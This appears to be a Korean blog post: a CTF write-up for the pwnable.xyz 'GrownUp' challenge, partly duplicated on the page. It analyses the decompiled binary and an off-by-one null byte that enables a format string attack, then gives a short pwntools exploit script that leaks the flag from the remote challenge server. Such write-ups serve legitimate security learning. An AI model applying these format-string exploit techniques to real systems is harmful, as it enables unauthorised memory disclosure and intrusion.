몇일간 고생하다 해답보고 이해한 문제이다. 포맷스트링에 대한 개념을 좀더 확실히 공부하고 넘어가야 할거같다.
main 함수 setup함수
setup 함수
1. 0x601168의 주소를 usr에 넣고, usr의 인덱스 136~138에 %s\n을 세팅
main 함수
1. setup 함수를 실행하여 작업수행
2. local_28에 0x10만큼 입력받음
3. local_28의 맨 마지막을 NULL(0x0)으로 할당
4. local_28이 y 또는 Y인지 확인
5. malloc(0x84, 132)후 __src에 0x80(128)만큼 입력 받음
6. strcpy를 이용해 usr에 __src 값을 복사함
7. %s(usr.128_8)을 이용해 usr값 출력
df41이 0으로 바뀜(NULL) df40에 y가 있음 y를 10번 입력한 후 메모리 상태 usr의 위치(0x6010e0) flag 위치
usr과 0x60110과의 차이는 0x80 malloc이 반환한 청크의 메모리 내용 128만큼 입력하면 마지막이 NULL로 바뀜(0x601161) usr은 0x6010e0이고
0x601100은 usr+0x20이고 0x20를 입력후 포맷스트링공격이 가능
buf에 0x601080을 8바이트 단위로 써준 후, 0x601080을 찾아 %s로 출력
Exploit Code
from pwn import * p = remote("svc.pwnable.xyz", 30004) print(p.readuntil(':')) # Are you 18 year @@@ p.write('y' * 8 + p64(0x601080)) formatstr = "%p %p %p %p %p %p %p %p %s %p %p %p" print(p.readuntil(':')) # Name: p.write('A' * 32 + formatstr + 'A' * (0x80 - 32 - len(formatstr))) print(p.readuntil("AAAAA"))
부족한점
bss 메모리 구조 및 코드 구조를 잘 살펴보자..
참조
https://blog.encrypted.gg/790
[Pwnable.xyz] GrownUp
거의 일주일넘게 꽉 막혀있었다가 Jisoon Park님의 포스팅 덕분에 이해할 수 있었습니다. setting 함수는 main의 23번째 줄에서 보이는 qword_601160에 "%s\n"을 세팅하는 역할을 합니다. 이제 main 함수를 봅
blog.encrypted.gg
pwnable.xyz - Grownup
몇일간 고생하다 해답보고 이해한 문제이다. 포맷스트링에 대한 개념을 좀더 확실히 공부하고 넘어가야 할거같다.
Decompile
setup 함수
1. 0x601168의 주소를 usr에 넣고, usr의 인덱스 136~138에 %s\n을 세팅
main 함수
1. setup 함수를 실행하여 작업수행
2. local_28에 0x10만큼 입력받음
3. local_28의 맨 마지막을 NULL(0x0)으로 할당
4. local_28이 y 또는 Y인지 확인
5. malloc(0x84, 132)후 __src에 0x80(128)만큼 입력 받음
6. strcpy를 이용해 usr에 __src 값을 복사함
7. %s(usr.128_8)을 이용해 usr값 출력
Analysis
0x601100은 usr+0x20이고 0x20를 입력후 포맷스트링공격이 가능
buf에 0x601080을 8바이트 단위로 써준 후, 0x601080을 찾아 %s로 출력
Exploit Code
부족한점
bss 메모리 구조 및 코드 구조를 잘 살펴보자..
참조
https://blog.encrypted.gg/790
[Pwnable.xyz] GrownUp
거의 일주일넘게 꽉 막혀있었다가 Jisoon Park님의 포스팅 덕분에 이해할 수 있었습니다. setting 함수는 main의 23번째 줄에서 보이는 qword_601160에 "%s\n"을 세팅하는 역할을 합니다. 이제 main 함수를 봅
blog.encrypted.gg
'pwnable.xyz' 카테고리의 다른 글